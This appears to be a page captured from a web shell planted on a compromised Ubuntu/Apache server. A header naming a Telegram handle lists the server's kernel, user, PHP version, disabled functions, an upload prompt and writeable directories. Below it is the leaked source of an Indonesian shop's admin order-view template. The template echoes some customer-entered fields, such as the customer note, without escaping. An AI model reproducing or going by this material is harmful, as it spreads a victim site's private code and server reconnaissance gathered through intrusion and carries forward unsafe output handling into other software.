https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/views/admin/orders/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/views/admin/orders/view.php
<div class="row">
    <div class="col-sm-12">
        <p><a href="<?= base_url('admin/orders'); ?>"><i class="fa fa-arrow-left" aria-hidden="true"></i> Kembali ke Halaman Order</a></p><br>
        <?php $referral = !empty($order->referral) ? $order->referral : $order->redeemed_voucher_code;
        $affiliate = '';

        $query = "SELECT COUNT(*) as count FROM affiliator_register WHERE referral = ?";
        $result_referral = $this->db->query($query, array($referral))->row();

        if ($result_referral->count > 0) {
            $affiliate = '<span style="background-color:green;" class="badge badge-pill badge-success">Affiliate' . ':' . $referral . '</span>';
        } ?>
        <h4>NOMOR ORDER: <?php echo $order->id_orders; ?> <?= $affiliate; ?> </h4>
        <h4>TANGGAL ORDER: <?php echo date('j F Y H:i:s', strtotime($order->order_date)); ?></h4>
        <?= $this->session->flashdata('success'); //to display success message 
        ?>
        <?= $this->session->flashdata('result'); //to display result message 
        ?>
    </div><!-- end class="col-sm-12" -->
</div> <!-- end row -->

<?= form_open(); ?>

<div class="row">
    <div class="col-sm-3">
        <p>Status Pesanan Saat Ini</p>
    </div><!-- end class="col-sm-3" -->
    <div class="col-sm-9">
        <?php
        if ($order->payment_status == 0) {
            $options[0] = 'Pending';
            $options[2] = 'Batal';
        }
        if ($order->payment_status == 1) {
            $options[1] = 'Belum Bayar';

            if ($order->payment_type != 'midtrans' && (int)$order->indent_remaining === 0) {
                $options[3] = 'Sudah Bayar';
            } else {
                $options[6] = 'Dibayar Sebagian';
            }
            $options[2] = 'Batal';
        }
        if ($order->payment_status == 2) {
            $options[2] = 'Batal';
        }
        if ($order->payment_status == 3) {
            $options[3] = 'Sudah Dibayar';
            $options[4] = 'Proses';
            $options[2] = 'Batal';
        }
        if ($order->payment_status == 4) {
            $options[4] = 'Proses';
            $options[2] = 'Batal';
        }
        if ($order->payment_status == 5) {
            $options[5] = 'Terkirim';
        }
        if ($order->payment_status == 6) {
            $options[6] = 'Dibayar Sebagian';
            $options[4] = 'Proses';
            $options[2] = 'Batal';
        }

        echo form_dropdown('payment_status', $options, $order->payment_status, 'class="form-control changeOrderStatus"');
        ?>

        <!-- <?php if ($order->payment_status == 1 || $order->payment_status == 3) : ?>
                <br>Courier Tracking Number (Enter below)<br>
                <?php echo form_input('no_resi', $order->no_resi); ?>
                <br>
            <?php endif; ?>  -->

        <br>

        <span><?= form_submit('update', 'Ubah Status Order', 'class="btn btn-primary btn-success submitOrderStatus"'); ?></span>


        <script>
            $(document).ready(function() {
                $('.submitOrderStatus').prop('disabled', true);
                $('.changeOrderStatus').change(function() {
                    $('.submitOrderStatus').prop('disabled', false);
                });
            });
        </script>

        <?= form_close(); ?>
        <br><br>

        <!-- <p><a target="_blank" href="<?php echo base_url() . 'admin/orders/generate_invoice_pdf/' . $order->id_orders; ?>"><i class="fa fa-files-o" aria-hidden="true"></i>
 DOWNLOAD INVOICE</a></p>

    <p><a target="_blank" href="<?php echo base_url() . 'admin/orders/generate_deliveryslip_pdf/' . $order->id_orders; ?>"><i class="fa fa-truck" aria-hidden="true"></i>

    <?php if ($order->dropship == 'yes') : ?>
     DROPSHIP
    <?php endif; ?> DOWNLOAD DELIVERY SLIP </a></p> -->


    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<?php
//calculate if the current order has more than 1 warehouse
$this->db->select('warehouse_id')->from('orders_detail')->where('orders_id', $order->id_orders);
$warehouse_ids = $this->db->get()->result();

$warehouse_id_array = array();

foreach ($warehouse_ids as $warehouse_id) {
    if (!in_array($warehouse_id->warehouse_id, $warehouse_id_array)) {
        $warehouse_id_array[] = $warehouse_id->warehouse_id;
    }
}
?>

<?php if (count($warehouse_id_array) > 1) : ?>
    <p style="background: purple; color:white; padding: 5px;">Order ini memiliki pengiriman lebih dari 1 Warehouse.></p>
<?php endif; ?>

<div class="row">
    <div class="col-sm-12">
        <div class="table-responsive">
            <table class="table table-striped">

                <!-- <tr>
                    <td>JURNAL.ID STATUS</td>
                    <td><?= strtoupper($order->status_jurnalid); ?></td>
                </tr> -->

                <tr>
                    <td>TIPE PEMBAYARAN</td>
                    <td><?= strtoupper($order->payment_type);
                        if ($order->marketplace_name != null) {
                            echo ', ' . ucfirst($order->marketplace_name);
                        } ?> <?= strtoupper($order->payment_method); ?>&nbsp;
                        <?php if (!empty($order->va_number)) : ?>
                            <?= $order->va_number; ?> (No VA)
                        <?php endif; ?>
                    </td>
                </tr>
                <tr>
                    <td>UNTUK HADIAH</td>
                    <td><?php if ($order->gift_receiver_name == "") {
                            echo "No";
                        } else {
                            echo "Yes";
                        } ?></td>
                </tr>

                <?php if ($order->payment_date != NULL) : ?>
                    <tr>
                        <td>TANGGAL PEMBAYARAN</td>
                        <td><?= date('d M Y H:m:s', strtotime($order->payment_date)); ?></td>
                    </tr>
                <?php endif; ?>

                <tr>
                    <td>INFO TAMBAHAN</td>
                    <td>
                        <?php if ($order->payment_type == 'bank transfer') : ?>

                            <?php
                            if ($order->payment_confirm == 1) {
                                echo 'cust pay confirm: Yes';
                            } else {
                                echo 'Cust pay confirm: Not Yet';
                            }
                            ?>

                        <?php elseif ($order->payment_type == 'midtrans') : ?>
                            <?php if ($order->payment_status_message == 'capture') : ?>
                                Pembayaran Kartu Kredit
                            <?php else : ?>
                                Pembayaran virtual akun
                            <?php endif; ?>
                        <?php endif; ?>

                        <?php if ($order->indent_remaining > 0) : ?>
                            . Has Indent
                        <?php endif; ?>

                    </td>
                </tr>
                <tr>
                    <td>CUSTOMER NOTE</td>
                    <td><?= ucfirst($order->customer_note); ?></td>
                </tr>
                <tr>
                    <td>PELANGGAN</td>
                    <td>
                        <p>
                            Nama: <?php echo ucwords($order->recipient_name);  ?><br>
                            E-mail: <a href="mailto:<?php echo $order->email;  ?>"><?php echo $order->email;  ?></a><br>
                            Telepon: <?php echo $order->phone;  ?>
                        </p>
                    </td>
                </tr>
                <?php
                $reseller_id = $this->db->select('reseller_id')->from('customers')->where('id_customers', $order->customer_id)->get()->row()->reseller_id;


                if ($reseller_id == NULL) : ?>
                    <tr>
                        <td>ALAMAT PENGIRIMAN</td>
                        <td>
                            <p>
                                <?= ucwords($order->address); ?><br>
                                <?php
                                //get subdistrict
                                echo ucwords($order->subdistrict) . '. ';
                                //get district
                                echo ucwords($order->district) . '. ';
                                echo ucwords($order->province) . '<br>';
                                if (!empty($order->postcode)) {
                                    echo 'Postcode: ' . $order->postcode;
                                }
                                ?>
                            </p>
                        </td>
                    </tr>
                    <tr>
                        <td>ASURANSI</td>
                        <td><?= ($order->insurance_status) ?></td>
                    </tr>
                <?php else : ?>
                    <tr>
                        <td>ALAMAT PENAGIHAN</td>
                        <td>
                            <p>
                                <?php $customer_billing_address = $this->db->select('address')->from('customers')->where('id_customers', $order->customer_id)->get()->row()->address;
                                $customer_billing_postcode = $this->db->select('postcode')->from('customers')->where('id_customers', $order->customer_id)->get()->row()->postcode;
                                $customer_billing_province_id = $this->db->select('id_province')->from('customers')->where('id_customers', $order->customer_id)->get()->row()->id_province;
                                $customer_billing_district_id = $this->db->select('id_district')->from('customers')->where('id_customers', $order->customer_id)->get()->row()->id_district;
                                $customer_billing_subdisctrict_id = $this->db->select('id_subdistrict')->from('customers')->where('id_customers', $order->customer_id)->get()->row()->id_subdistrict;

                                $customer_billing_province = $this->db->select('province')->from('indonesia_provinces')->where('id_indonesia_provinces', $customer_billing_province_id);
                                $customer_billing_province = $this->db->get()->row()->province;

                                $customer_billing_district = $this->db->select('district')->from('indonesia_districts')->where('rajaongkir_id_district', $customer_billing_district_id);
                                $customer_billing_district = $this->db->get()->row()->district;

                                $customer_billing_subdisctrict = $this->db->select('subdistrict')->from('indonesia_subdistricts')->where('rajaongkir_id_subdistrict', $customer_billing_subdisctrict_id);
                                $customer_billing_subdisctrict = $this->db->get()->row()->subdistrict; ?>
                                <?= ucwords($customer_billing_address); ?><br>
                                <?php
                                //get subdistrict
                                echo ucwords($customer_billing_subdisctrict) . '. ';
                                //get district
                                echo ucwords($customer_billing_district) . '. ';
                                echo ucwords($customer_billing_province) . '<br>';
                                echo ucwords($customer_billing_postcode) . '<br>';

                                ?>
                            </p>
                        </td>
                    </tr>
                    <tr>
                        <td>ALAMAT PENGIRIMAN</td>
                        <td>
                            <p>
                                <?= ucwords($order->address); ?><br>
                                <?php
                                //get subdistrict
                                echo ucwords($order->subdistrict) . '. ';
                                //get district
                                echo ucwords($order->district) . '. ';
                                echo ucwords($order->province) . '<br>';
                                if (!empty($order->postcode)) {
                                    echo 'Postcode: ' . $order->postcode;
                                }
                                ?>
                            </p>
                        </td>
                    </tr>
                    <tr>
                        <td>ASURANSI</td>
                        <td><?= ($order->insurance_status) ?></td>
                    </tr>
                <?php endif; ?>



                <tr>
                    <td>CETAK DOKUMEN</td>
                    <td>
                        <a href="<?= base_url() . 'admin/orders/generate_invoice/' . $order->id_orders; ?>" target="_blank" class="btn btn-primary" type="submit">
                            <i class="fa fa-print"></i>&nbsp;Print Invoice
                        </a>
                        <a href="<?= base_url() . 'admin/orders/generate_deliveryreceipt/' . $order->id_orders; ?>" target="_blank" class="btn btn-success" type="submit">
                            <i class="fa fa-print"></i>&nbsp;Print Delivery Receipt
                        </a>
                    </td>
                </tr>

                <!-- <tr>
        <td>CUSTOMER NOTE</td>
        <td><p><?= ucfirst($order->customer_note); ?></p></td>
     </tr> -->

                <tr>
                    <td colspan="2">
                        <p>DETAIL ORDER</p>

                        <table id="tbl_itemproduct" class="table" style="border: 1px solid black">
                            <tr>
                                <th style="border: 1px solid black">Nama Barang</th>
                                <th style="border: 1px solid black">Harga</th>
                                <th style="border: 1px solid black">Kuantitas</th>
                                <th style="border: 1px solid black">Dikirim dari</th>
                                <th style="border: 1px solid black">Tipe Pengiriman</th>
                                <th style="border: 1px solid black">Biaya Pengiriman</th>
                                <th style="border: 1px solid black">Sub Total</th>
                                <?php if ($order->payment_status == 4 || $order->payment_status == 5) : ?>
                                    <th style="border: 1px solid black">Status <br> <?php if ($order->payment_status == 4) : ?>
                                            <span><?= form_button(['class' => 'btn btn-primary btn-success', 'id' => 'ubahOngkirBtn', 'data-toggle' => 'modal', 'data-target' => '#ubahResiAll'], 'Ubah Seluruh Resi'); ?></span>
                                        <?php endif; ?>
                                    </th>
                                <?php endif; ?>
                            </tr>


                            <?php $a = 1;
                            foreach ($order_details as $item) : ?>

                                <?php
                                $attributes = array('id' => 'update_resi' . $a);
                                echo form_open('admin/orders/update_noresi', $attributes);
                                ?><?= form_close(); ?>

                                <?php $formid = array('class' => 'update_status');
                                echo form_open('admin/orders/update_status', $formid); ?>

                                <?php
                                //get varian
                                $this->db->select('attribute_detail_id')->from('product_combination')->where('product_details_id', $item->item_id);
                                $attributes = $this->db->get()->result();

                                $attributes_name = '';
                                foreach ($attributes as $attribute) {
                                    //get atrribute detail name
                                    $this->db->select('attribute_detail')->from('product_attributes_detail')->where('id', $attribute->attribute_detail_id);
                                    $attribute_detail = $this->db->get()->row();

                                    $attribute_detail_name = $attribute_detail->attribute_detail;
                                    $attributes_name = ucwords($attributes_name)  . ' ' . ucwords($attribute_detail_name);
                                }
                                ?>
                                <tr>
                                    <td style="border: 1px solid black"><?php echo ucwords($item->item_name); ?><br>
                                        <?= ucwords($attributes_name); ?>
                                        <br>
                                        <?= $item->sku; ?>
                                        <br>
                                        <?php
                                        //get warehouse
                                        $this->db->select('name')->from('shipment_method')->where('id', $item->chosen_shipping_id);
                                        $shipping_method = $this->db->get()->row()->name;

                                        $query_shipment_m = $this->db->select('*')->from('shipment_method')->where('id', $item->chosen_shipping_id)->get()->row();

                                        ?>
                                        <?php
                                        $status_new_address = null;
                                        if ($query_shipment_m->id == 5) : ?>
                                            <br>
                                            <?php if ($item->new_address != NULL) : ?>
                                                <p>New Shipping Address:<br>
                                                    <?= ucwords($item->new_address); ?><br>
                                                    <?php
                                                    $status_new_address = 'has';
                                                    $this->load->helper('shipping');
                                                    echo get_subdistrict_name($item->new_subdistrict_id) . '. ' .  get_district_name($item->new_district_id) . '.  ' . get_province_name($item->new_province_id);
                                                    ?>
                                                </p>
                                            <?php endif; ?>

                                            <?php if ($item->status == 0) : ?>
                                                <button type="button" data-toggle="modal" data-target="#ModalChangeAddress<?= $item->id_orders_detail; ?>" class="btn btn-info"><i class="fa fa-map"></i> Ubah Alamat Pengiriman</button>
                                            <?php endif; ?>
                                        <?php endif; ?>

                                    </td>

                                    <td style="border: 1px solid black">IDR <?php echo number_format($item->item_price); ?><br>
                                        <?= $item->indent_message; ?></td>
                                    <td style="border: 1px solid black">
                                        <?= $item->quantity; ?>
                                        <?php if ($item->is_backorder == 'yes') : ?>
                                            (Indent)
                                        <?php endif; ?>
                                    </td>
                                    <td style="border: 1px solid black">
                                        <?php
                                        //get warehouse
                                        $this->db->select('name')->from('warehouse')->where('id', $item->warehouse_id);
                                        $warehouse_name = $this->db->get()->row()->name;
                                        echo ucwords($warehouse_name);
                                        ?>
                                    </td>
                                    <?php
                                    $nama_kurir = $this->db->select('carrier')->from('shipment_method')->where('id', $item->chosen_shipping_id)->get()->row()->carrier;

                                    ?>
                                    <?php
                                    $reseller_id = $this->db->select('reseller_id')->from('customers')->where('id_customers', $order->customer_id)->get()->row()->reseller_id;

                                    if ($reseller_id == NULL) : ?>
                                        <td style="border: 1px solid black">
                                            <?php if ($shipping_method == '2 hour delivery') : ?>
                                                <p>Express Courier</p>

                                                Resi : <input type="text" value="<?= $item->no_resi; ?>" disabled>
                                            <?php else : ?>
                                                <p><?= ucfirst($nama_kurir); ?>-<?= ucfirst($shipping_method); ?></p>
                                                Resi : <input type="text" value="<?= $item->no_resi; ?>" disabled>
                                            <?php endif; ?>
                                        </td>
                                    <?php else : ?>
                                        <td style="border: 1px solid black">
                                            <?php
                                            switch ($order->customer_id) {
                                                case 2619:
                                                    $shipping_name_byuser = 'Gosend Instant';
                                                    break;
                                                case 2618:
                                                    $shipping_name_byuser = 'Private Courier';
                                                    break;
                                                case 2617:
                                                    $shipping_name_byuser = 'Kurir Test';
                                                    break;
                                                case 2010:
                                                    $shipping_name_byuser = 'Private Courier';
                                                    break;
                                                case 2288:
                                                    $shipping_name_byuser = 'Gosend Instant';
                                                    break;
                                                case 2620:
                                                    $shipping_name_byuser = 'Trucking';
                                                    break;
                                                case 2530:
                                                    $shipping_name_byuser = 'Trucking';
                                                    break;
                                                default:
                                                    $shipping_name_byuser = 'Reguler';
                                                    break;
                                            }


                                            $shipping_name = $shipping_name_byuser; ?>

                                            <p><?= $shipping_name; ?></p>
                                        </td>

                                    <?php endif; ?>

                                    <td style="border: 1px solid black">
                                        <?php
                                        $reseller_id = $this->db->select('reseller_id')->from('customers')->where('id_customers', $order->customer_id)->get()->row()->reseller_id;

                                        if ($reseller_id == NULL) :
                                        ?>
                                            <span class="shipping-fee">IDR <?php echo number_format($item->shipping_fee); ?></span>


                                        <?php else : ?>
                                            <span class="shipping-fee">IDR <?php echo number_format($order->shipping_fee); ?></span>

                                            <!-- <button class="btn btn-success edit-ongkir-button" type="button" data-productid="<?= $item->product_id; ?>" data-order_detailid="<?= $item->id_orders_detail; ?>" data-orderid="<?= $item->orders_id; ?>" data-itemid="<?= $item->item_id; ?>" onclick="editOngkir($(this));">Edit Ongkir</button>
                                        -->
                                        <?php endif; ?>

                                    </td>

                                    <td style="border: 1px solid black">IDR <?php echo number_format($item->subtotal); ?></td>
                                    <?php if ($order->payment_status == 4) : ?>
                                        <input type="hidden" name="id_product_detail" value="<?= $item->id_orders_detail; ?>">
                                        <input type="hidden" name="id_order" value="<?= $order->id_orders; ?>">
                                        <input type="hidden" name="backed_order" value="<?= $item->is_backorder; ?>">
                                        <input type="hidden" name="qty_order" value="<?= $item->quantity; ?>">
                                        <input type="hidden" name="warehouse_order" value="<?= $item->warehouse_id; ?>">
                                        <input type="hidden" name="item_order" value="<?= $item->item_id; ?>">
                                        <input type="hidden" name="id" value="<?= $a; ?>">

                                        <?php
                                        //get product_code
                                        $this->db->select('sku')->from('product_details')->where('id', $item->item_id)->where('product_id', $item->product_id);
                                        $product_code = $this->db->get()->row()->sku;

                                        $query_shipment_m = $this->db->select('*')->from('shipment_method')->where('id', $item->chosen_shipping_id)->get()->row();

                                        ?>

                                        <td style="border: 1px solid black">
                                            <?php
                                            if ($query_shipment_m->id == 5) {
                                            ?>

                                                <!-- Jika INDENT -->
                                                <div id="dv_btn_set_status_product">
                                                    <?php
                                                    if ((int)$item->status === 0) {

                                                    ?>
                                                        <?php
                                                        $query_warehouse = $this->db
                                                            ->select('*')->from('warehouse')
                                                            ->where('id', $item->warehouse_id)->get();

                                                        $query_r_stock = $this->db
                                                            ->select('*')->from('stock')
                                                            ->where('warehouse_id', $item->warehouse_id)
                                                            ->where('id_product', $item->product_id)
                                                            ->where('id_product_detail', $item->item_id)
                                                            ->get();

                                                        $dis_btn_rtosend = '';
                                                        if (@$query_r_stock->row()->stock == 0 || $query_r_stock->num_rows() == 0) {
                                                            $dis_btn_rtosend = 'disabled';
                                                        }

                                                        ?>
                                                        <button <?= $dis_btn_rtosend; ?> class="btn btn-success" type="button" data-productid="<?= $item->product_id; ?>" data-order_detailid="<?= $item->id_orders_detail; ?>" data-orderid="<?= $item->orders_id; ?>" data-itemid="<?= $item->item_id; ?>" id="btn_r_tosend" onclick="fbtn_r_tosend($(this));">Siap untuk dikirim</button>
                                                        <?php if ($dis_btn_rtosend == 'disabled') : ?>
                                                            <br>
                                                            Di <?= ucwords($query_warehouse->row()->name); ?> Stok kurang
                                                        <?php endif ?>

                                                    <?php } ?>

                                                    <?php
                                                    if ((int)$item->status === 1) {

                                                    ?>

                                                        <button class="btn btn-success form-control" type="button" data-productid="<?= $item->product_id; ?>" data-order_detailid="<?= $item->id_orders_detail; ?>" data-orderid="<?= $item->orders_id; ?>" data-itemid="<?= $item->item_id; ?>" id="btn_fullypaid" onclick="fbtn_fullypaid($(this));">Perbarui ke dibayar penuh</button>
                                                    <?php } ?>

                                                    <?php
                                                    if ((int)$item->status === 3) {

                                                    ?>
                                                        <?php
                                                        $n_resi = $item->no_resi;
                                                        if ($n_resi == null || $n_resi == "") {
                                                            $n_resi = "";
                                                        }
                                                        ?>
                                                        <input placeholder='No. Resi Pengiriman.' type='text' value='<?= $n_resi; ?>' class='form-control input-sm' id='inp_noresi'>

                                                        <button class="btn btn-success form-control" type="button" data-productid="<?= $item->product_id; ?>" data-order_detailid="<?= $item->id_orders_detail; ?>" data-orderid="<?= $item->orders_id; ?>" data-itemid="<?= $item->item_id; ?>" id="btn_savenoresi" onclick="fbtn_savenoresi($(this));">Simpan No. Resi Pengiriman</button>

                                                        <button class="btn btn-primary form-control" type="button" data-productid="<?= $item->product_id; ?>" data-order_detailid="<?= $item->id_orders_detail; ?>" data-orderid="<?= $item->orders_id; ?>" data-itemid="<?= $item->item_id; ?>" id="btn_sent" disabled onclick="fbtn_sent($(this));">Ganti status ke "Sudah Terkirim"</button>

                                                    <?php } ?>

                                                    <?php
                                                    if ((int)$item->status === 2) {
                                                    } ?>
                                                </div>
                                                <!-- end Jika INDENT -->

                                            <?php } else { ?>

                                                <!-- Jika IN STOCK -->
                                                <div id="dv_btn_set_status_product">
                                                    <?php
                                                    if ((int)$item->status === 0) {

                                                    ?>
                                                        <?php
                                                        $query_warehouse = $this->db
                                                            ->select('*')->from('warehouse')
                                                            ->where('id', $item->warehouse_id)->get();

                                                        $query_r_stock = $this->db
                                                            ->select('*')->from('stock')
                                                            ->where('warehouse_id', $item->warehouse_id)
                                                            ->where('id_product', $item->product_id)
                                                            ->where('id_product_detail', $item->item_id)
                                                            ->get();

                                                        $dis_btn_rtosend = '';
                                                        // if(@$query_r_stock->row()->stock == 0 || $query_r_stock->num_rows() == 0){
                                                        //     $dis_btn_rtosend = 'disabled';
                                                        // }

                                                        ?>
                                                        <button <?= $dis_btn_rtosend; ?> class="btn btn-success" type="button" data-productid="<?= $item->product_id; ?>" data-order_detailid="<?= $item->id_orders_detail; ?>" data-orderid="<?= $item->orders_id; ?>" data-itemid="<?= $item->item_id; ?>" id="btn_r_tosend" onclick="fbtn_r_tosend($(this),'instock');">Siap untuk dikirim</button>

                                                    <?php } ?>

                                                    <?php
                                                    if ((int)$item->status === 1) {

                                                    ?>
                                                        <?php
                                                        $n_resi = $item->no_resi;
                                                        if ($n_resi == null || $n_resi == "") {
                                                            $n_resi = "";
                                                        }
                                                        ?>
                                                        <input placeholder='No. Resi Pengiriman' type='text' value='<?= $n_resi; ?>' class='form-control input-sm' id='inp_noresi'>

                                                        <button class="btn btn-success form-control" type="button" data-productid="<?= $item->product_id; ?>" data-order_detailid="<?= $item->id_orders_detail; ?>" data-orderid="<?= $item->orders_id; ?>" data-itemid="<?= $item->item_id; ?>" id="btn_savenoresi" onclick="fbtn_savenoresi($(this),'instock');">Simpan No. Resi Pengiriman</button>

                                                        <button class="btn btn-primary form-control" type="button" data-productid="<?= $item->product_id; ?>" data-order_detailid="<?= $item->id_orders_detail; ?>" data-orderid="<?= $item->orders_id; ?>" data-itemid="<?= $item->item_id; ?>" id="btn_sent" disabled onclick="fbtn_sent($(this),'instock');">Ganti status ke "Sudah Terkirim"</button>

                                                    <?php } ?>

                                                    <?php
                                                    // if((int)$item->status === 2){

                                                    // } 
                                                    ?>
                                                </div>
                                            <?php } ?>
                                            <!-- end Jika IN STOCK -->


                                            <!-- <input type="text" name="product_code<?= $a ?>" class="form-control updatestatus_code"  placeholder="product code" id="product_code<?= $a ?>" onfocus="this.value=''" onkeyup="ajax_update_status('<?= $order->id_orders; ?>','<?= $item->item_id; ?>','<?= $a ?>','<?= $item->is_backorder; ?>','<?= $item->warehouse_id; ?>','<?= $item->id_orders_detail; ?>')"  <?php if ($item->status != 0) : ?> disabled value="<?= $product_code; ?>" <?php endif; ?> /> -->

                                            <?php
                                            $stprod = '';
                                            $style = '';
                                            if ($item->status == 0) {
                                                $style = "white";
                                                $stprod = "Open";
                                            } else if ($item->status == 1) {
                                                $style = "yellow";
                                                $stprod = "Siap untuk dikirim";
                                            } else if ($item->status == 2) {
                                                $style = "lime";
                                                $stprod = "Produk terkirim";
                                            } else if ($item->status == 3) {
                                                $style = "lightgreen";
                                                $stprod = "Dibayar penuh";
                                            }
                                            ?>
                                            <p id="notifbarcode<?= $a ?>" style="color:red;"></p>
                                            <p>Status : <span style="padding:5px;background-color: <?= $style; ?>"><?= $stprod; ?></span></p>
                                            <br>
                                            <!-- <?php if ($item->status == 1) : ?>
                                            <label>No. Resi</label>
                                            <input type="text" value="<?= $item->no_resi; ?>" name="no_resi" class="form-control" placeholder="nomor resi" required pattern="[\s\S]*\S[\s\S]*" autocomplete='off'>
                                        <?php elseif ($item->status == 2) : ?>
                                            <label>No. Resi</label>
                                            <input type="hidden" name="id_orders_detail" value="<?= $item->id_orders_detail; ?>" form="update_resi<?= $a; ?>">
                                            <input type="text" name="no_resi" value="<?= $item->no_resi; ?>" class="form-control" placeholder="nomor resi" required pattern="[\s\S]*\S[\s\S]*" form="update_resi<?= $a ?>"  autocomplete='off'>
                                        <?php endif; ?>  -->
                                        </td>

                                    <?php elseif ($order->payment_status == 5) : ?>

                                        <?= $item->sku; ?>

                                        <td style="border: 1px solid black">
                                            <!-- <input type="text" name="product_code<?= $a ?>" class="form-control"  placeholder="product code" id="product_code<?= $a ?>" onfocus="this.value=''" onkeyup="ajax_update_status('<?= $order->id_orders; ?>','<?= $item->item_id; ?>','<?= $a ?>','<?= $item->is_backorder; ?>','<?= $item->id_orders_detail; ?>')"  <?php if ($item->status != 0) : ?> disabled value="<?= $product_code; ?>" <?php endif; ?> /> -->
                                            <?php
                                            $stprod = '';
                                            $style = '';
                                            if ($item->status == 0) {
                                                $style = "white";
                                                $stprod = "Open";
                                            } else if ($item->status == 1) {
                                                $style = "yellow";
                                                $stprod = "Siap untuk dikirim";
                                            } else if ($item->status == 2) {
                                                $style = "lime";
                                                $stprod = "Produk terkirim";
                                            } else if ($item->status == 3) {
                                                $style = "lightgreen";
                                                $stprod = "Dibayar penuh";
                                            }
                                            ?>
                                            <p id="notifbarcode<?= $a ?>" style="color:red;"></p>
                                            <p>Status : <span style="padding:5px;
                                            background-color: <?= $style; ?>">
                                                    <?= $stprod; ?>

                                                </span></p>
                                            <br>
                                            <!-- <label>No. Resi</label>
                                        <input type="hidden" name="iterator" value="<?= $a; ?>" form="update_resi<?= $a ?>">
                                        <input type="hidden" name="id_orders_detail" value="<?= $item->id_orders_detail; ?>" form="update_resi<?= $a ?>">
                                        <input type="text" name="no_resi" value="<?= $item->no_resi; ?>" class="form-control" form="update_resi<?= $a ?>" required pattern="[\s\S]*\S[\s\S]*" autocomplete="off">
                                        <input type="submit" name="submit" value="Update Resi" class="form-control" form="update_resi<?= $a ?>"> -->
                                        </td>
                                    <?php endif; ?>
                                </tr>
                                <?= form_close(); ?>

                            <?php $a++;
                            endforeach; ?>
                        </table>
                    </td>
                </tr>

                <?php $grand_total = $order->total_amount; ?>

                <tr>
                    <td>Jumlah Total Produk</td>
                    <td>IDR <?= number_format($order->total_amount); ?></td>
                </tr>

                <?php if ($order->ppn != 0) : ?>
                    <tr>
                        <td>Pajak</td>
                        <td>IDR <?= number_format($order->ppn); ?></td>
                    </tr>
                    <?php $grand_total = $grand_total + $order->ppn; ?>
                <?php endif; ?>

                <?php if ($order->shipping_fee != 0) : ?>
                    <tr>
                        <td>Total Biaya Pengiriman</td>
                        <td>IDR <?= number_format($order->shipping_fee); ?></td>
                    </tr>
                    <?php /*$grand_total = $grand_total + $order->shipping_fee;*/ ?>
                <?php endif; ?>
                <?php if ($order->insurance_status == 'Yes') : ?>
                    <tr>
                        <td>Biaya Asuransi</td>
                        <td>IDR <?= number_format($order->insurance_cost); ?></td>
                    </tr>
                    <?php /*$grand_total = $grand_total + $order->shipping_fee;*/ ?>
                <?php endif; ?>

                <?php if ($order->free_shipping_fee != 0): ?>
                    <tr>
                        <td>Potongan Biaya Pengiriman</td>
                        <td>IDR -<?= number_format($order->free_shipping_fee); ?></td>
                    </tr>
                <?php endif; ?>

                <?php if (!empty($order->redeemed_voucher_amount)): ?>
                    <tr>
                        <td>KODE VOUCHER: <?= strtoupper($order->redeemed_voucher_code); ?></td>
                        <td>IDR -<?= number_format($order->redeemed_voucher_amount); ?></td>
                    </tr>
                <?php endif; ?>

                <?php if ($order->minus_reward > 0): ?>
                    <tr>
                        <td>TUKAR POIN HADIAH: <?= $order->minus_reward; ?> poin</td>
                        <td>IDR -<?= number_format($order->minus_reward_amount); ?></td>
                    </tr>
                <?php endif; ?>

                <tr>
                    <td style="font-weight: bold;">JUMLAH TOTAL</td>
                    <td style="font-weight: bold;">
                        IDR <?php
                            // Mulai perhitungan total
                            $finalshippingfee = max(0, $order->shipping_fee - $order->free_shipping_fee);
                            $insurance_cost = $order->insurance_status === 'Yes' ? $order->insurance_cost : 0;
                            $t_when_indent = 0;
                            // Total akhir setelah semua diskon
                            $grand_total = $grand_total
                                + $insurance_cost
                                + $finalshippingfee
                                - $order->redeemed_voucher_amount // Diskon kode voucher
                                - $order->minus_reward_amount; // Potongan reward poin

                            // Tampilkan hasil
                            echo $grand_total > 0
                                ? number_format($grand_total)
                                : '0 (Free Order)';
                            ?>
                    </td>
                </tr>

                <?php
                $tcost_indent = (int)$order->indent_remaining + (int)$order->indent_shipping_fee;
                $t_when_indent = $t_when_indent - $tcost_indent;
                ?>
                <?php if ((int)$order->indent_remaining > 0) : ?>
                    <tr>
                        <td style="font-weight: bold;">Total Uang muka</td>
                        <td style="font-weight: bold;"> IDR

                            <?php if ($status_new_address == null) : ?>
                                <?= number_format($t_when_indent) ?>
                            <?php else : ?>
                                <?= number_format($order->total_amount - $order->indent_remaining) ?>
                            <?php endif ?>

                        </td>
                    </tr>
                    <tr>
                        <td>Produk Indent tersisa</td>
                        <td> IDR <?= number_format($order->indent_remaining) ?></td>
                    </tr>
                    <tr>
                        <td>Sisa Biaya Pengiriman Indent</td>
                        <td> IDR <?= number_format($order->indent_shipping_fee) ?></td>
                    </tr>
                    <tr>
                        <td style="font-weight: bold;">Total Tersisa</td>
                        <td style="font-weight: bold;"> IDR <?= number_format($order->indent_remaining + $order->indent_shipping_fee) ?></td>
                    </tr>
                <?php endif; ?>

                <?php if ($order->payment_confirm_details) : ?>
                    <tr>
                        <td><br>KONFIRMASI PEMBAYARAN TRANSFER BANK MANUAL</td>
                        <td><br><?= $order->payment_confirm_details; ?></td>
                    </tr>
                <?php endif; ?>

                <?php if ($order->payment_confirm_remaining != 0) : ?>
                    <tr>
                        <td><br>KONFIRMASI PEMBAYARAN TRANSFER BANK MANUAL 2</td>
                        <td><br><?= $order->payment_confirm_details_remaining; ?></td>
                    </tr>
                <?php endif; ?>

            </table>
        </div>
    </div>
</div>


<div class="row">
    <div class="col-sm-6">
        <?= form_open('admin/orders/add_note/' . $order->id_orders); ?>
